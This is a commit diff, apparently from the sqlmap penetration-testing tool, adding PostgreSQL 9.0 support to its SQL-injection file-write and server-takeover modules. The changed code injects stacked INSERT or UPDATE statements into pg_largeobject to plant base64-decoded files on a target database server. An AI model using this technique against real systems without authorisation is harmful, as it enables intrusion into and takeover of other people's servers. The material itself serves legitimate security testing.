initial support for PostgreSQL 9.0 - #223

This commit is contained in:
Bernardo Damele 2011-04-11 22:02:00 +00:00
parent f4745a95ea
commit fdbd8bfe37
3 changed files with 15 additions and 2 deletions

View File

@ -10,6 +10,7 @@ See the file 'doc/COPYING' for copying permission
import os import os
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject from lib.request import inject
@ -97,7 +98,17 @@ class Filesystem(GenericFilesystem):
# #
# As a matter of facts it was possible to store correctly a file # As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export()) # large 13776 bytes, the problem arises at next step (lo_export())
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) #
# Inject manually into PostgreSQL system table pg_largeobject the
# base64-decoded file content. Note that PostgreSQL >= 9.0 does
# not accept UPDATE into that table for some reason.
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "9.0":
inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, 0, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.tblField, self.fileTblName))
else:
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
debugMsg = "exporting the OID %s file content to " % fileType debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile debugMsg += "file '%s'" % dFile

View File

@ -45,7 +45,9 @@ class Takeover(GenericTakeover):
banVer = kb.bannerFp["dbmsVersion"] banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "8.4": if banVer >= "9.0":
majorVer = "9.0"
elif banVer >= "8.4":
majorVer = "8.4" majorVer = "8.4"
elif banVer >= "8.3": elif banVer >= "8.3":
majorVer = "8.3" majorVer = "8.3"